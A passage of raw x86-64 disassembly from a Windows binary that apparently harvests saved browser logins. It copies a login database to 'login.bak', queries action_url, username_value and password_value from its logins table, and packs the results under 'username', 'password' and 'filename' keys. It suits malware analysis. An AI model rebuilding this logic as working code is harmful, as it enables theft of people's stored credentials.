mov qword [rsp + 0x50], rax
lea rcx, [rsp + 0x1c0]
mov qword [rcx + 0xf], rax
movups xmmword [rcx - 1], xmm0
mov byte [rsp + 0x188], 5
movups xmm0, xmmword [rsp + 0x1b8]
movups xmm1, xmmword [rsp + 0x1c7]
lea rax, [rsp + 0x188]
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax + 1], xmm0
mov qword [rsp + 0x180], 0
mov bpl, 5
xor edi, edi
movzx eax, byte [rsp + 0x220]
cmp rax, 3
jb 0x14000b86c
cmp eax, 4
je 0x14000b7b8
cmp eax, 3
jne 0x14000b7ca
cmp qword [rsp + 0x230], 0
je 0x14000b86c
mov rsi, qword [rsp + 0x228]
call sub.KERNEL32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, rsi
call fcn.14021dfcd
jmp 0x14000b86c
lea rcx, [rsp + 0x228]
call fcn.1400032a0
jmp 0x14000b86c
mov r8, qword [rsp + 0x230]
test r8, r8
je 0x14000b843
mov rdx, qword [rsp + 0x228]
mov rsi, qword [rsp + 0x238]
mov qword [rsp + 0x20], r8
lea rcx, [rsp + 0xa0]
mov r9, rdx
call fcn.14001f630
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0x50], rax
movups xmm0, xmmword [rsp + 0xa0]
movaps xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0xb8]
mov rax, qword [rcx + 0x10]
mov qword [rsp + 0xf0], rax
movups xmm0, xmmword [rcx]
movaps xmmword [rsp + 0xe0], xmm0
lea rcx, [rsp + 0x58]
mov qword [rcx + 0x10], rax
movups xmmword [rcx], xmm0
jmp 0x14000b85d
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x60], 0
mov rsi, qword [rsp + 0x108]
mov qword [rsp + 0x70], rsi
lea rcx, [rsp + 0x40]
call fcn.140007320
mov rcx, rbx
call fcn.140182830
lea rcx, [rsp + 0x2c0]
call fcn.1400034c0
mov sil, 1
test rdi, rdi
jne 0x14000b8b8
lea rax, [rsp + 0x188]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x50], xmm1
movaps xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x40]
call fcn.14000e2d0
test eax, eax
jne 0x14000d6fc
xor edi, edi
xor esi, esi
cmp qword [rsp + 0x140], 0
je 0x14000b8da
call sub.KERNEL32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, qword [rsp + 0x100]
call fcn.14021dfcd
test rdi, rdi
je 0x14000b8f1
mov rcx, qword [rsp + 0x188]
mov rax, qword [rcx]
call qword [rax]
jmp 0x14000b9f2
test sil, sil
je 0x14000b9f2
cmp bpl, 3
jb 0x14000b9f2
cmp bpl, 4
je 0x14000b93e
cmp bpl, 3
jne 0x14000b950
cmp qword [rsp + 0x198], 0
je 0x14000b9f2
mov rsi, qword [rsp + 0x190]
call sub.KERNEL32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, rsi
call fcn.14021dfcd
jmp 0x14000b9f2
lea rcx, [rsp + 0x190]
call fcn.1400032a0
jmp 0x14000b9f2
mov r8, qword [rsp + 0x198]
test r8, r8
je 0x14000b9c9
mov rdx, qword [rsp + 0x190]
mov rsi, qword [rsp + 0x1a0]
mov qword [rsp + 0x20], r8
lea rcx, [rsp + 0xa0]
mov r9, rdx
call fcn.14001f630
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0x50], rax
movups xmm0, xmmword [rsp + 0xa0]
movaps xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0xb8]
mov rax, qword [rcx + 0x10]
mov qword [rsp + 0xf0], rax
movups xmm0, xmmword [rcx]
movaps xmmword [rsp + 0xe0], xmm0
lea rcx, [rsp + 0x58]
mov qword [rcx + 0x10], rax
movups xmmword [rcx], xmm0
jmp 0x14000b9e3
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x60], 0
mov rsi, qword [rsp + 0x108]
mov qword [rsp + 0x70], rsi
lea rcx, [rsp + 0x40]
call fcn.140007320
call sub.KERNEL32.dll_GetProcessHeap
mov r8d, 0x30
mov rcx, rax
xor edx, edx
call sub.KERNEL32.dll_HeapAlloc
test rax, rax
je 0x14000db30
mov rsi, rax
mov qword [rsp + 0x20], 7
lea rcx, [rsp + 0xa0]
mov rbx, qword [rsp + 0x240]
mov rdx, rbx
mov rdi, qword [rsp + 0x1d8]
mov r8, rdi
lea r9, [0x140221c1b]
call fcn.140152950
mov r14, qword [rsp + 0xa0]
mov r8, qword [rsp + 0xb0]
mov qword [rsp + 0x20], 0xa
lea rcx, [rsp + 0x180]
mov rdx, r14
lea rbp, [0x140221c29]
mov r9, rbp
call fcn.140152950
mov qword [rsp + 0x20], 0xa
lea rcx, [rsp + 0x40]
mov rdx, rbx
mov r8, rdi
mov r9, rbp
call fcn.140152950
mov rax, qword [rsp + 0x190]
mov qword [rsi + 0x10], rax
movups xmm0, xmmword [rsp + 0x180]
movups xmmword [rsi], xmm0
mov rax, qword [rsp + 0x50]
mov qword [rsi + 0x28], rax
movups xmm0, xmmword [rsp + 0x40]
movups xmmword [rsi + 0x18], xmm0
cmp qword [rsp + 0xa8], 0
je 0x14000badb
call sub.KERNEL32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, r14
call fcn.14021dfcd
mov rbx, qword [rsi]
test rbx, rbx
je 0x14000d61f
mov r14, qword [rsi + 8]
mov rdi, qword [rsi + 0x10]
mov rcx, rbx
mov rdx, rdi
call fcn.140152ca0
test al, al
je 0x14000bb3b
mov qword [rsp + 0x100], rbx
mov rbp, qword [rsp + 0x108]
jmp 0x14000bb1a
add rbp, 0x18
cmp rbp, 0x18
je 0x14000bb7b
cmp qword [rsi + rbp + 0x20], 0
je 0x14000bb10
mov rbx, qword [rsi + rbp + 0x18]
call sub.KERNEL32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, rbx
call fcn.14021dfcd
jmp 0x14000bb10
test r14, r14
je 0x14000bb52
call sub.KERNEL32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, rbx
call fcn.14021dfcd
mov rbp, qword [rsi + 0x18]
test rbp, rbp
je 0x14000d66d
mov r14, qword [rsi + 0x20]
mov rdi, qword [rsi + 0x28]
mov rcx, rbp
mov rdx, rdi
call fcn.140152ca0
test al, al
jne 0x14000bb83
jmp 0x14000d656
mov rbp, qword [rsp + 0x100]
call sub.KERNEL32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, rsi
call fcn.14021dfcd
mov rcx, rbp
mov rdx, rdi
call fcn.1401525e0
test rax, rax
mov qword [rsp + 0x130], r14
mov qword [rsp + 0x100], rbp
je 0x14000bc84
mov r8, rdx
mov qword [rsp + 0x20], 9
lea rcx, [rsp + 0x248]
mov rdx, rax
lea r9, str.login.bakError.
call fcn.140152950
mov rsi, qword [rsp + 0x248]
mov rax, qword [rsp + 0x258]
mov qword [rsp + 0x20], rax
lea rbx, [rsp + 0x40]
mov rcx, rbx
mov rdx, rbp
mov r8, rdi
mov r9, rsi
call fcn.1401540e0
cmp qword [rsp + 0x40], 1
jne 0x14000bcd8
mov rdi, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x48]
call sub.KERNEL32.dll_GetProcessHeap
mov r8d, 0x18
mov rcx, rax
xor edx, edx
call sub.KERNEL32.dll_HeapAlloc
test rax, rax
je 0x14000d7a0
mov rbp, rax
lea rax, [0x1402218c0]
mov qword [rbp], rax
mov qword [rbp + 8], rbx
mov qword [rbp + 0x10], rdi
mov qword [rsp + 0x188], rbp
mov qword [rsp + 0x180], 1
cmp qword [rsp + 0x250], 0
je 0x14000bccb
call sub.KERNEL32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, rsi
call fcn.14021dfcd
jmp 0x14000bccb
call sub.KERNEL32.dll_GetProcessHeap
mov r8d, reloc.WS2_32.dll_recv
mov rcx, rax
xor edx, edx
call sub.KERNEL32.dll_HeapAlloc
test rax, rax
je 0x14000d796
mov rbp, rax
lea rax, [0x140221770]
mov qword [rbp], rax
mov dword [rbp + 8], 1
mov qword [rsp + 0x188], rbp
mov qword [rsp + 0x180], 1
mov sil, 1
mov edi, 1
jmp 0x14000d2ab
mov rax, qword [rsp + 0x258]
mov qword [rsp + 0xb0], rax
movups xmm0, xmmword [rsp + 0x248]
movaps xmmword [rsp + 0xa0], xmm0
mov rcx, rbx
lea rdx, [rsp + 0xa0]
call fcn.140005c40
cmp dword [rsp + 0x40], 1
lea rbp, [rsp + 0x58]
je 0x14000dafe
mov rax, qword [rbp]
mov qword [rsp + 0x2d0], rax
movups xmm0, xmmword [rbp - 0x10]
movaps xmmword [rsp + 0x2c0], xmm0
mov r9d, 0x3d
mov rcx, rbx
lea rdx, [rsp + 0x2c0]
lea r8, str.SELECT_action_url__username_value__password_value_FROM_loginslogin
call fcn.140005ff0
mov rax, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x50]
movups xmm0, xmmword [rbp]
movaps xmmword [rsp + 0x160], xmm0
mov rcx, qword [rbp + 0x10]
mov qword [rsp + 0x170], rcx
cmp rax, 1
jne 0x14000bdf8
mov rax, qword [rsp + 0x170]
mov qword [rsp + 0x50], rax
movaps xmm0, xmmword [rsp + 0x160]
movaps xmmword [rsp + 0x40], xmm0
call sub.KERNEL32.dll_GetProcessHeap
mov r8d, 0x30
mov rcx, rax
xor edx, edx
call sub.KERNEL32.dll_HeapAlloc
test rax, rax
je 0x14000db30
mov rbp, rax
lea rax, [0x1402217a8]
mov qword [rbp], rax
mov qword [rbp + 8], rbx
mov qword [rbp + 0x10], rdi
mov rax, qword [rsp + 0x50]
mov qword [rbp + 0x28], rax
movaps xmm0, xmmword [rsp + 0x40]
movups xmmword [rbp + 0x18], xmm0
mov qword [rsp + 0x188], rbp
mov qword [rsp + 0x180], 1
mov edi, 1
jmp 0x14000d267
mov qword [rsp + 0x288], rbx
mov qword [rsp + 0x290], rdi
movups xmmword [rbp - 0x10], xmm6
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0xb0], rax
movups xmm0, xmmword [rsp + 0x40]
movaps xmmword [rsp + 0xa0], xmm0
lea rcx, [rsp + 0x228]
mov qword [rcx + 0x10], rax
movups xmmword [rcx], xmm0
mov byte [rsp + 0x220], 5
mov rcx, rbx
call fcn.140181d60
cmp eax, 0x64
mov qword [rsp + 0x138], rbx
je 0x14000be69
mov esi, eax
cmp eax, 0x65
jne 0x14000cb25
mov qword [rsp + 0x150], rdi
mov al, 1
jmp 0x14000be77
mov qword [rsp + 0x150], rdi
xor eax, eax
jmp 0x14000be77
xor eax, eax
lea rdi, [rsp + 0x288]
movups xmm0, xmmword [rsp + 0xa0]
movaps xmmword [rsp + 0x2a0], xmm0
test al, al
jne 0x14000c9e2
lea rsi, [rsp + 0x40]
mov rcx, rsi
mov rdx, rdi
xor r8d, r8d
call fcn.140006290
mov rax, qword [rsp + 0x40]
movups xmm0, xmmword [rbp - 0x10]
movups xmm1, xmmword [rbp]
movaps xmmword [rsp + 0xa0], xmm0
movaps xmmword [rsp + 0xb0], xmm1
mov rcx, qword [rbp + 0x10]
mov qword [rsp + 0xc0], rcx
cmp rax, 1
je 0x14000cb32
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0x210], rax
movaps xmm0, xmmword [rsp + 0xa0]
movaps xmmword [rsp + 0x200], xmm0
mov r8d, 1
mov rcx, rsi
mov rdx, rdi
call fcn.140006290
mov rax, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x48]
mov qword [rsp + 0x140], rcx
mov r14, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
movups xmm0, xmmword [rbp + 8]
movaps xmmword [rsp + 0xa0], xmm0
cmp rax, 1
je 0x14000cbb9
mov rcx, rbx
mov edx, 2
call fcn.140182240
test rax, rax
je 0x14000bf89
mov rcx, rbx
mov rbx, rax
mov edx, 2
call fcn.140182680
movsxd r15, eax
test r15d, r15d
je 0x14000bf94
call sub.KERNEL32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, r15
call sub.KERNEL32.dll_HeapAlloc
mov r13, rax
test rax, rax
jne 0x14000bf9a
jmp 0x14000d9f3
mov r13d, 1
xor r15d, r15d
jmp 0x14000bfa8
mov r13d, 1
mov rcx, r13
mov rdx, rbx
mov r8, r15
call sub.VCRUNTIME140.dll_memcpy
movups xmmword [rbp - 0x10], xmm6
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x1f0], rax
movups xmm0, xmmword [rsp + 0x40]
movaps xmmword [rsp + 0x1e0], xmm0
call sub.KERNEL32.dll_GetProcessHeap
mov r8d, 3
mov rcx, rax
xor edx, edx
call sub.KERNEL32.dll_HeapAlloc
test rax, rax
je 0x14000db18
mov rbx, rax
movzx eax, byte [0x14026c91a]
mov byte [rbx + 2], al
movzx eax, word [0x14026c918]
mov word [rbx], ax
mov rax, qword [rsp + 0x200]
mov qword [rsp + 0x1d8], rax
mov rbp, qword [rsp + 0x210]
test rbp, rbp
je 0x14000c037
call sub.KERNEL32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, rbp
call sub.KERNEL32.dll_HeapAlloc
mov rdi, rax
test rax, rax
jne 0x14000c03c
jmp 0x14000da02
mov edi, 1
mov rcx, rdi
mov rdx, qword [rsp + 0x1d8]
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [rsp + 0x40]
mov ecx, dword [rsp + 0x43]
mov dword [rsp + 0x113], ecx
mov dword [rsp + 0x110], eax
mov qword [rsp + 0xa0], rbx
movups xmmword [rsp + 0xa8], xmm8
mov byte [rsp + 0x40], 3
mov eax, dword [rsp + 0x110]
mov ecx, dword [rsp + 0x113]
lea rdx, [rsp + 0x58]
mov dword [rdx - 0x14], ecx
mov dword [rdx - 0x17], eax
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x50], rbp
mov qword [rsp + 0x58], rbp
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0x1e0]
lea r8, [rsp + 0xa0]
lea r9, [rsp + 0x40]
call fcn.140003be0
movzx eax, byte [rsp + 0xe0]
cmp rax, 6
je 0x14000c1c6
cmp eax, 3
jb 0x14000c1c6
cmp eax, 4
je 0x14000c118
cmp eax, 3
jne 0x14000c12a
cmp qword [rsp + 0xf0], 0
je 0x14000c1c6
mov rdi, qword [rsp + 0xe8]
call sub.KERNEL32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, rdi
call fcn.14021dfcd
jmp 0x14000c1c6
lea rcx, [rsp + 0xe8]
call fcn.1400032a0
jmp 0x14000c1c6
mov r8, qword [rsp + 0xf0]
test r8, r8
je 0x14000c1a3
mov rdx, qword [rsp + 0xe8]
mov rdi, qword [rsp + 0xf8]
mov qword [rsp + 0x20], r8
lea rcx, [rsp + 0xa0]
mov r9, rdx
call fcn.14001f630
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0x50], rax
movups xmm0, xmmword [rsp + 0xa0]
movaps xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0xb8]
mov rax, qword [rcx + 0x10]
mov qword [rsp + 0x120], rax
movups xmm0, xmmword [rcx]
movaps xmmword [rsp + 0x110], xmm0
lea rcx, [rsp + 0x58]
mov qword [rcx + 0x10], rax
movups xmmword [rcx], xmm0
jmp 0x14000c1b7
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x60], 0
xor edi, edi
mov qword [rsp + 0x70], rdi
lea rcx, [rsp + 0x40]
call fcn.140007320
call sub.KERNEL32.dll_GetProcessHeap
mov r8d, 8
mov rcx, rax
xor edx, edx
call sub.KERNEL32.dll_HeapAlloc
test rax, rax
je 0x14000db1f
mov rbx, rax
movabs rax, 0x656d616e72657375
mov qword [rbx], rax
test rsi, rsi
je 0x14000c218
call sub.KERNEL32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, rsi
call sub.KERNEL32.dll_HeapAlloc
mov rdi, rax
test rax, rax
jne 0x14000c21d
jmp 0x14000da11
mov edi, 1
mov rcx, rdi
mov rdx, qword [rsp + 0x140]
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [rsp + 0x40]
mov ecx, dword [rsp + 0x43]
mov dword [rsp + 0x113], ecx
mov dword [rsp + 0x110], eax
mov qword [rsp + 0xa0], rbx
movups xmmword [rsp + 0xa8], xmm9
mov byte [rsp + 0x40], 3
mov eax, dword [rsp + 0x110]
mov ecx, dword [rsp + 0x113]
lea rdx, [rsp + 0x58]
mov dword [rdx - 0x14], ecx
mov dword [rdx - 0x17], eax
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], rsi
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0x1e0]
lea r8, [rsp + 0xa0]
lea r9, [rsp + 0x40]
call fcn.140003be0
movzx eax, byte [rsp + 0xe0]
cmp rax, 6
je 0x14000c3a7
cmp eax, 3
jb 0x14000c3a7
cmp eax, 4
je 0x14000c2f9
cmp eax, 3
jne 0x14000c30b
cmp qword [rsp + 0xf0], 0
je 0x14000c3a7
mov rsi, qword [rsp + 0xe8]
call sub.KERNEL32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, rsi
call fcn.14021dfcd
jmp 0x14000c3a7
lea rcx, [rsp + 0xe8]
call fcn.1400032a0
jmp 0x14000c3a7
mov r8, qword [rsp + 0xf0]
test r8, r8
je 0x14000c384
mov rdx, qword [rsp + 0xe8]
mov rsi, qword [rsp + 0xf8]
mov qword [rsp + 0x20], r8
lea rcx, [rsp + 0xa0]
mov r9, rdx
call fcn.14001f630
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0x50], rax
movups xmm0, xmmword [rsp + 0xa0]
movaps xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0xb8]
mov rax, qword [rcx + 0x10]
mov qword [rsp + 0x120], rax
movups xmm0, xmmword [rcx]
movaps xmmword [rsp + 0x110], xmm0
lea rcx, [rsp + 0x58]
mov qword [rcx + 0x10], rax
movups xmmword [rcx], xmm0
jmp 0x14000c398
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x60], 0
xor esi, esi
mov qword [rsp + 0x70], rsi
lea rcx, [rsp + 0x40]
call fcn.140007320
call sub.KERNEL32.dll_GetProcessHeap
mov r8d, 8
mov rcx, rax
xor edx, edx
call sub.KERNEL32.dll_HeapAlloc
test rax, rax
je 0x14000db1f
mov rbx, rax
movabs rax, 0x64726f7773736170
mov qword [rbx], rax
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x50], r15
lea rcx, [rsp + 0x160]
lea rdx, [rsp + 0x2d8]
lea rsi, [rsp + 0x40]
mov r8, rsi
call fcn.14000db80
mov r13, qword [rsp + 0x160]
mov r8, qword [rsp + 0x170]
mov rcx, rsi
mov rdx, r13
call fcn.140023550
mov rdi, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x48]
cmp qword [rsp + 0x40], 1
je 0x14000cc28
test rdi, rdi
je 0x14000c456
call sub.KERNEL32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, rdi
call sub.KERNEL32.dll_HeapAlloc
mov r15, rax
test rax, rax
jne 0x14000c45c
jmp 0x14000da20
mov r15d, 1
mov rcx, r15
mov rdx, rsi
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [rsp + 0x40]
mov ecx, dword [rsp + 0x43]
mov dword [rsp + 0x113], ecx
mov dword [rsp + 0x110], eax
mov qword [rsp + 0xa0], rbx
movups xmmword [rsp + 0xa8], xmm9
mov byte [rsp + 0x40], 3
mov eax, dword [rsp + 0x110]
mov ecx, dword [rsp + 0x113]
lea rdx, [rsp + 0x58]
mov dword [rdx - 0x14], ecx
mov dword [rdx - 0x17], eax
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x58], rdi
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0x1e0]
lea r8, [rsp + 0xa0]
lea r9, [rsp + 0x40]
call fcn.140003be0
movzx eax, byte [rsp + 0xe0]
cmp rax, 6
mov r15, qword [rsp + 0x128]
mov rbx, qword [rsp + 0x138]
je 0x14000c5f1
cmp eax, 3
jb 0x14000c5f1
cmp eax, 4
je 0x14000c543
cmp eax, 3
jne 0x14000c555
cmp qword [rsp + 0xf0], 0
je 0x14000c5f1
mov rsi, qword [rsp + 0xe8]
call sub.KERNEL32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, rsi
call fcn.14021dfcd
jmp 0x14000c5f1
lea rcx, [rsp + 0xe8]
call fcn.1400032a0
jmp 0x14000c5f1
mov r8, qword [rsp + 0xf0]
test r8, r8
je 0x14000c5ce
mov rdx, qword [rsp + 0xe8]
mov rsi, qword [rsp + 0xf8]
mov qword [rsp + 0x20], r8
lea rcx, [rsp + 0xa0]
mov r9, rdx
call fcn.14001f630
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0x50], rax
movups xmm0, xmmword [rsp + 0xa0]
movaps xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0xb8]
mov rax, qword [rcx + 0x10]
mov qword [rsp + 0x120], rax
movups xmm0, xmmword [rcx]
movaps xmmword [rsp + 0x110], xmm0
lea rcx, [rsp + 0x58]
mov qword [rcx + 0x10], rax
movups xmmword [rcx], xmm0
jmp 0x14000c5e2
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x60], 0
xor esi, esi
mov qword [rsp + 0x70], rsi
lea rcx, [rsp + 0x40]
call fcn.140007320
cmp qword [rsp + 0x168], 0
je 0x14000c60e
call sub.KERNEL32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, r13
call fcn.14021dfcd
movaps xmm0, xmmword [rsp + 0x1e0]
movaps xmmword [rsp + 0x2f0], xmm0
mov rax, qword [rsp + 0x1f0]
mov qword [rsp + 0x300], rax
lea rcx, [rsp + 0x1c0]
mov qword [rcx + 0x10], rax
movups xmmword [rcx], xmm0
mov byte [rsp + 0x1b8], 5
mov rcx, qword [rsp + 0x1d8]
mov rdx, rbp
lea rsi, [rsp + 0x220]
mov r8, rsi
call fcn.140140060
mov rcx, rsi
lea rdx, [rsp + 0x200]
test rax, rax
je 0x14000c71e
call fcn.14001d090
cmp byte [rax], 4
mov r13, qword [rsp + 0x148]
lea rbp, [rsp + 0x58]
jne 0x14000c8ce
mov rsi, rax
movups xmm0, xmmword [rsp + 0x1b8]
movups xmm1, xmmword [rsp + 0x1c8]
movaps xmmword [rsp + 0x50], xmm1
movaps xmmword [rsp + 0x40], xmm0
mov rcx, qword [rax + 0x18]
cmp rcx, qword [rax + 0x10]
jne 0x14000c7cb
mov rax, rcx
inc rax
je 0x14000d78f
lea rdx, [rcx + rcx]
cmp rdx, rax
cmova rax, rdx
cmp rax, 4
ja 0x14000c6dc
mov eax, 4
xor r8d, r8d
mov edx, 0x20
mul rdx
setno r8b
shl r8, 3
test rcx, rcx
je 0x14000c778
mov rdx, qword [rsi + 8]
shl rcx, 5
mov qword [rsp + 0xa0], rdx
mov qword [rsp + 0xa8], rcx
mov qword [rsp + 0xb0], 8
jmp 0x14000c784
call fcn.14001d090
mov rsi, rax
movzx eax, byte [rax]
cmp rax, 3
mov r13, qword [rsp + 0x148]
lea rbp, [rsp + 0x58]
jb 0x14000c88d
cmp eax, 4
je 0x14000c7f0
cmp eax, 3
jne 0x14000c801
cmp qword [rsi + 0x10], 0
je 0x14000c88d
mov rdi, qword [rsi + 8]
call sub.KERNEL32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, rdi
call fcn.14021dfcd
jmp 0x14000c88d
mov qword [rsp + 0xa0], 0
lea rcx, [rsp + 0xe0]
mov rdx, rax
lea r9, [rsp + 0xa0]
call fcn.140142a50
mov rcx, qword [rsp + 0xe8]
mov rdx, qword [rsp + 0xf0]
cmp qword [rsp + 0xe0], 1
je 0x14000da2f
mov qword [rsi + 8], rcx
shr rdx, 5
mov qword [rsi + 0x10], rdx
mov rcx, qword [rsi + 0x18]
mov rax, qword [rsi + 8]
shl rcx, 5
movaps xmm0, xmmword [rsp + 0x40]
movaps xmm1, xmmword [rsp + 0x50]
movups xmmword [rax + rcx + 0x10], xmm1
movups xmmword [rax + rcx], xmm0
add qword [rsi + 0x18], 1
jmp 0x14000c966
mov rcx, rsi
add rcx, 8
call fcn.1400032a0
jmp 0x14000c88d
mov r8, qword [rsi + 0x10]
test r8, r8
je 0x14000c86a
mov rdx, qword [rsi + 8]
mov rdi, qword [rsi + 0x18]
mov qword [rsp + 0x20], r8
lea rcx, [rsp + 0xa0]
mov r9, rdx
call fcn.14001f630
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0x50], rax
movups xmm0, xmmword [rsp + 0xa0]
movaps xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0xb8]
mov rax, qword [rcx + 0x10]
mov qword [rsp + 0xf0], rax
movups xmm0, xmmword [rcx]
movaps xmmword [rsp + 0xe0], xmm0
mov qword [rbp + 0x10], rax
movups xmmword [rbp], xmm0
jmp 0x14000c87e
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x60], 0
xor edi, edi
mov qword [rsp + 0x70], rdi
lea rcx, [rsp + 0x40]
call fcn.140007320
mov byte [rsi], 4
mov eax, dword [rsp + 0x110]
mov ecx, dword [rsp + 0x113]
mov dword [rsi + 1], eax
mov dword [rsi + 4], ecx
mov qword [rsi + 8], 8
movups xmmword [rsi + 0x10], xmm6
lea rcx, [rsp + 0x220]
lea rdx, [rsp + 0x200]
call fcn.14001d090
cmp byte [rax], 4
je 0x14000c68f
mov r8, qword [rsp + 0x1c8]
test r8, r8
je 0x14000c943
mov rdx, qword [rsp + 0x1c0]
mov rsi, qword [rsp + 0x1d0]
mov qword [rsp + 0x20], r8
lea rcx, [rsp + 0xa0]
mov r9, rdx
call fcn.14001f630
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0x50], rax
movups xmm0, xmmword [rsp + 0xa0]
movaps xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0xb8]
mov rax, qword [rcx + 0x10]
mov qword [rsp + 0xf0], rax
movups xmm0, xmmword [rcx]
movaps xmmword [rsp + 0xe0], xmm0
mov qword [rbp + 0x10], rax
movups xmmword [rbp], xmm0
jmp 0x14000c957
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x60], 0
xor esi, esi
mov qword [rsp + 0x70], rsi
lea rcx, [rsp + 0x40]
call fcn.140007320
test r14, r14
je 0x14000c982
call sub.KERNEL32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, qword [rsp + 0x140]
call fcn.14021dfcd
cmp qword [rsp + 0x208], 0
je 0x14000c9a4
call sub.KERNEL32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, qword [rsp + 0x1d8]
call fcn.14021dfcd
mov rcx, rbx
call fcn.140181d60
cmp eax, 0x64
je 0x14000be75
mov esi, eax
cmp eax, 0x65
lea rdi, [rsp + 0x288]
jne 0x14000cd2f
mov al, 1
movups xmm0, xmmword [rsp + 0xa0]
movaps xmmword [rsp + 0x2a0], xmm0
test al, al
je 0x14000be97
movups xmmword [rbp - 0x10], xmm6
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x170], rax
movups xmm0, xmmword [rsp + 0x40]
movaps xmmword [rsp + 0x160], xmm0
call sub.KERNEL32.dll_GetProcessHeap
mov r8d, 8
mov rcx, rax
xor edx, edx
call sub.KERNEL32.dll_HeapAlloc
test rax, rax
je 0x14000db1f
mov rsi, rax
movabs rax, 0x656d616e656c6966
mov qword [rsi], rax
call sub.KERNEL32.dll_GetProcessHeap
mov r8d, 5
mov rcx, rax
xor edx, edx
call sub.KERNEL32.dll_HeapAlloc
test rax, rax
je 0x14000da3f
mov cl, byte [0x140221d49]
mov byte [rax + 4], cl
mov ecx, dword [0x140221d45]
mov dword [rax], ecx
mov ecx, dword [rsp + 0x40]
mov edx, dword [rsp + 0x43]
mov dword [rsp + 0x110], ecx
mov dword [rsp + 0x113], edx
mov qword [rsp + 0xa0], rsi
movups xmmword [rsp + 0xa8], xmm9
mov byte [rsp + 0x40], 3
mov ecx, dword [rsp + 0x110]
mov edx, dword [rsp + 0x113]
mov dword [rbp - 0x14], edx
mov dword [rbp - 0x17], ecx
mov qword [rsp + 0x48], rax
movups xmmword [rsp + 0x50], xmm10
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0x160]
lea r8, [rsp + 0xa0]
lea r9, [rsp + 0x40]
call fcn.140003be0
movzx eax, byte [rsp + 0xe0]
cmp rax, 6
je 0x14000cf45
cmp eax, 3
jb 0x14000cf45
cmp eax, 4
je 0x14000ce74
cmp eax, 3
jne 0x14000ce86
cmp qword [rsp + 0xf0], 0
je 0x14000cf45
mov rsi, qword [rsp + 0xe8]
call sub.KERNEL32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, rsi
call fcn.14021dfcd
jmp 0x14000cf45
lea rcx, [rsp + 0x40]
mov rdx, rdi
jmp 0x14000cd3c
mov rax, qword [rsp + 0xc0]
mov qword [rsp + 0x60], rax
movaps xmm0, xmmword [rsp + 0xa0]
movaps xmm1, xmmword [rsp + 0xb0]
movaps xmmword [rsp + 0x50], xmm1
movaps xmmword [rsp + 0x40], xmm0
call sub.KERNEL32.dll_GetProcessHeap
mov r8d, 0x30
mov rcx, rax
xor edx, edx
call sub.KERNEL32.dll_HeapAlloc
test rax, rax
je 0x14000db30
mov rbp, rax
lea rax, [0x1402217a8]
mov qword [rbp], rax
mov rax, qword [rsp + 0x60]
mov qword [rbp + 0x28], rax
